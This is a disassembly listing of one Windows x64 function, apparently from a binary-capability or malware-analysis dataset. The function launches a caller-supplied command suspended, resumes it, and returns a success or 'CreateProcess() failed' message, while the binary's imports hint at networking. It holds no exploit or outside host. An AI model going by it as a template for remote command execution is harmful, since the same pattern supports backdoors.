Function at 0x140014c90
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x140
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xb0], xmm6
mov qword [rbp + 0xa8], 0xfffffffffffffffe
mov r15, rdx
xorps xmm6, xmm6
movaps xmmword [rbp - 0x30], xmm6
movaps xmmword [rbp - 0x20], xmm6
movaps xmmword [rbp - 0x10], xmm6
movaps xmmword [rbp], xmm6
movaps xmmword [rbp + 0x10], xmm6
movaps xmmword [rbp + 0x20], xmm6
mov qword [rbp + 0x30], 0
mov dword [rbp - 0x30], 0x68
movaps xmmword [rbp + 0x60], xmm6
mov qword [rbp + 0x70], 0
lea rax, [rbp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, r8
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140014d9b
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp + 0x68]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
mov rcx, qword [rbp + 0x60]
call rsi
movups xmmword [r15], xmm6
mov qword [r15 + 0x10], 0
mov qword [r15 + 0x18], reloc.WS2_32.dll_ntohs
mov ecx, 0x20
call fcn.1402b4764
mov qword [r15], rax
movaps xmm0, xmmword [reloc.WS2_32.dll_setsockopt]
movups xmmword [r15 + 0x10], xmm0
movups xmm0, xmmword [str.executed_successfully]
movups xmmword [rax], xmm0
movabs rcx, 0x796c6c7566737365
mov qword [rax + 0xd], rcx
mov byte [rax + 0x15], 0
jmp 0x14001500c
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edi, edi
mov ecx, 0xcccccccd
nop dword [rax + rax]
mov edx, eax
imul rdx, rcx
shr rdx, 0x23
lea ebx, [rdx + rdx]
lea ebx, [rbx + rbx*4]
mov esi, eax
sub esi, ebx
or sil, 0x30
mov byte [rbp + rdi + 0x54], sil
dec rdi
cmp eax, 9
mov eax, edx
ja 0x140014db0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x90], xmm0
movaps xmmword [rbp + 0x80], xmm0
test rdi, rdi
je 0x140014e29
mov rbx, rdi
neg rbx
js 0x140015028
lea r14, [rdi + rbp]
add r14, 0x55
cmp rbx, 0xf
ja 0x140014ef7
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0x98], reloc.WS2_32.dll_ntohs
lea rsi, [rbp + 0x80]
jmp 0x140014f4f
mov qword [rbp + 0x98], reloc.WS2_32.dll_ntohs
mov eax, reloc.WS2_32.dll_ntohs
xor r8d, r8d
mov rcx, rax
sub rcx, r8
cmp rcx, 0x18
jb 0x140014f81
lea rcx, [rbp + 0x98]
lea rdx, [r8 + 0x18]
mov qword [rbp + 0x90], rdx
cmp rax, 0x10
mov rdx, qword [rbp + 0x80]
lea rdi, [rbp + 0x80]
mov rbx, rdi
cmovae rbx, rdx
lea r9, [0x1402f0e8e]
mov r14d, 0x18
mov esi, 0x18
cmp rbx, r9
jae 0x140014ead
lea r10, [rbx + r8]
lea r9, str.CreateProcess___failed:
mov esi, 0x18
cmp r10, r9
jb 0x140014ead
mov rsi, rbx
sub rsi, r9
ja 0x140014ead
xor esi, esi
inc r8
add rdx, 0x18
cmp rax, 0x10
cmovae rcx, rdx
mov rdx, rbx
call fcn.1402ba9f0
lea r12, str.CreateProcess___failed:
mov rcx, rbx
mov rdx, r12
mov r8, rsi
call fcn.1402ba9f0
sub r14, rsi
lea rdx, [rsi + r12]
add rdx, 0x18
add rbx, rsi
mov rcx, rbx
mov r8, r14
call fcn.1402ba9f0
jmp 0x140014fad
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r12d, reloc.WS2_32.dll_shutdown
cmovae r12, rax
cmp r12, 0xfff
jb 0x140014f2d
lea rcx, [r12 + 0x28]
call fcn.1402b4764
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140014f3a
lea rcx, [r12 + 1]
call fcn.1402b4764
mov rsi, rax
mov qword [rbp + 0x80], rsi
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0x98], r12
mov rcx, rsi
mov rdx, r14
mov r8, rbx
call fcn.1402ba9f0
sub rsi, rdi
mov byte [rsi], 0
mov r8, qword [rbp + 0x90]
mov rax, qword [rbp + 0x98]
mov rcx, rax
sub rcx, r8
cmp rcx, 0x18
jae 0x140014e4c
lea rax, str.CreateProcess___failed:
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x18
lea rcx, [rbp + 0x80]
mov edx, 0x18
xor r9d, r9d
call fcn.14000a620
mov rdi, rax
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [r15 + 0x10], xmm1
movups xmmword [r15], xmm0
movaps xmm0, xmmword [0x1402ef840]
movups xmmword [rdi + 0x10], xmm0
mov byte [rdi], 0
mov rax, qword [rbp + 0x98]
cmp rax, 0x10
jb 0x14001500c
mov rcx, qword [rbp + 0x80]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140015007
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x14001502d
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.1402b4754
mov rax, r15
movaps xmm6, xmmword [rbp + 0xb0]
add rsp, 0x140
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
call fcn.140002090
call fcn.1402bfaa4
int3